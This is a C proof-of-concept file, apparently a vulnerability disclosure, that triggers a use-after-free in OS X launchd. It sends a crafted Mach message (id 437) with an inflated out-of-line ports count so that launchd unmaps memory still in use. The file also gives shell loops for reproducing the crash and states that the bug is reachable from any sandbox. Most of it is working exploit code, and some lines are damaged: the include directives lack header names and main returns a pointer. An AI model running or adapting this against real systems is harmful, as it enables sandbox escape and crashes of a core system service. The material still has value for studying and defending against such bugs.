// ianbeer // build: clang -o legacy_ipc legacy_ipc.c /* Controlled vm_deallocate size can lead to UaF in launchd msgh_id 437 is parsed by launchd's autogenerated MIG code in the function at 0x10000420D (10.11.6) This mig method takes an out-of-line-ports descriptor but the code doesn't verify that the request_fdsCnt is equal to the actual descriptor size and it uses the untrusted one to call mig_deallocate to unmap the memory. By passing a larger value we can cause subsequent pages to be deallocated while they're still in use. This bug can be reached from any sandbox on OS X/iOS. to actually see a crash run this PoC in a loop and also do something which causes a lot of launchd traffic eg: in one terminal: while true; do ./legacy_ipc; done in another: while true; do /Applications/Safari.app/Contents/MacOS/Safari & sleep 0.4 && killall Safari; done tested on OS X 10.11.6 (15G31) on MacBookAir5,2 */ #include #include #include #include #include #include typedef struct { mach_msg_header_t Head; /* start of the kernel processed data */ mach_msg_body_t msgh_body; mach_msg_ool_descriptor_t request; mach_msg_ool_ports_descriptor_t request_fds; mach_msg_port_descriptor_t asport; /* end of the kernel processed data */ NDR_record_t NDR; mach_msg_type_number_t requestCnt; mach_msg_type_number_t request_fdsCnt; } Request; int main(int argc, char** argv) { Request req = {0}; Request* InP = &req; mach_port_t ports[1]; ports[0] = MACH_PORT_NULL; // any mach port // from old 10.9.5 launchd MIG .defs: InP->msgh_body.msgh_descriptor_count = 3; InP->request.address = (void *)(NULL); InP->request.size = 0; InP->request.deallocate = FALSE; InP->request.copy = MACH_MSG_VIRTUAL_COPY; InP->request.type = MACH_MSG_OOL_DESCRIPTOR; InP->request_fds.address = (void *)(&ports[0]); InP->request_fds.count = 1; InP->request_fds.disposition = 17; InP->request_fds.deallocate = FALSE; InP->request_fds.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; InP->asport.name = MACH_PORT_NULL; InP->asport.disposition = 19; InP->asport.type = MACH_MSG_PORT_DESCRIPTOR; InP->NDR = NDR_record; InP->requestCnt = 0; InP->request_fdsCnt = 0x2000/4; InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX| MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP->Head.msgh_remote_port = bootstrap_port; InP->Head.msgh_local_port = mig_get_reply_port(); InP->Head.msgh_id = 437; kern_return_t msg_result; msg_result = mach_msg(&InP->Head, MACH_SEND_MSG/*|MACH_RCV_MSG*/|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), 0,//(mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); return InP; }